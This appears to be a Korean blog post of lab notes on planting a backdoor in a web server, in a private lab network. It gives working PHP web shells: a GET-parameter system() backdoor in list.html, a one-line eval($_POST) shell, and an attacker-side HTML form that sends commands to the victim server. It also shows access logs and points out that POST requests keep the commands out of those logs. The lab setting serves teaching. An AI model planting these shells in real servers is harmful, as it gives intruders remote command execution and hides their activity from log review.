실습> 웹서버 파일에 백도어
system("명령어") : system()함수는 인수에 명령어를 넣으면 명령어가 실행된다.
system("pwd"); <-- pwd 실행
eval("PHP코드"); : eval()함수는 인수에 PHP코드를 넣으면 명령어가 실행된다.
eval("echo '123';"); <-- echo '123'; 실행
-- /etc/php.ini --
short_open_tag = On
-- /etc/php.ini --
-- evalTest.php --
<?
eval("phpinfo();");
?>
-- evalTest.php --
-- list.html --
<?
$cmd = $_GET['a'];
system($cmd);
?>
-- list.html --
로그 포맷
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
CustomLog "logs/access_log" combined
http://192.168.108.101/list.html?a=pwd
/var/www/html
/var/log/httpd/access_log
192.168.108.1 - - [07/Mar/2022:21:35:30 +0900] "GET /list.html?a=pwd HTTP/1.1" 200 14 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36"
@ : 에러 출력 방지 코드 (한 줄 웹쉘)
-- list.html --
<?@eval($_POST['a']);?>
-- list.html --
Attacker ~# /etc/init.d/apache2 start
Starting apache2 (via systemctl): apache2.service.
Attacker ~# cd /var/www/html
Attacker ~# vi webshellTest.php
-- webshellTest.php --
<html>
<title> </title>
<meta charset="utf-8"/>
<body>
<script language=JavaScript>
function command()
{
if(document.webshell.a.value == '')
{
alert('명령어를 입력하세요');
document.webshell.a.focus();
return false;
}
cmd = "system('" + document.webshell.a.value + "');";
document.webshell.a.value = cmd;
alert(document.webshell.a.value);
return true;
}
</script>
<form name=webshell method=post action="http://192.168.108.101/list.html"
onSubmit='return command()'>
<table>
<tr>
<td> <input type=text name=a> </td>
<td> <input type=submit value=실행></td>
</tr>
</table>
</form>
<script language=JavaScript>
document.webshell.a.focus();
</script>
</body>
</html>
-- webshellTest.php --
http://192.168.108.200/webshellTest.php
pwd
/var/www/html <-- 웹서버에서 실행된 명령어의 실행 결과가 브라우저 화면에 출력된다.
Victim의 웹서버의 /var/log/httpd/access_log에 남은 로그의 내용은 아래와 같다.
POST 방식이므로 system('pwd') 내용은 웹서버 로그에 기록되지 않고 아래처럼 POST라고만 기록된다.
예전에 한 줄짜리 웹쉘이라고 하는 공격으로 공격을 은닉하는데 활용된다.
192.168.108.1 - - [07/Mar/2022:21:50:43 +0900] "POST /list.html HTTP/1.1" 200 14 "http://192.168.108.200/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36"
'Linux > 보안장비 운용' 카테고리의 다른 글
| tcpdump 를 이용한 패킷 분석 2 (0) | 2022.03.10 |
|---|---|
| tcpdump 를 이용한 패킷 분석 (0) | 2022.03.10 |
| HTTP 환경변수 로그 남기기 (0) | 2022.03.08 |
| 아파치 웹서버 로그 분석하기 (0) | 2022.03.08 |
| 아파치 웹서버 데몬이 안뜨는 이유 (0) | 2022.03.08 |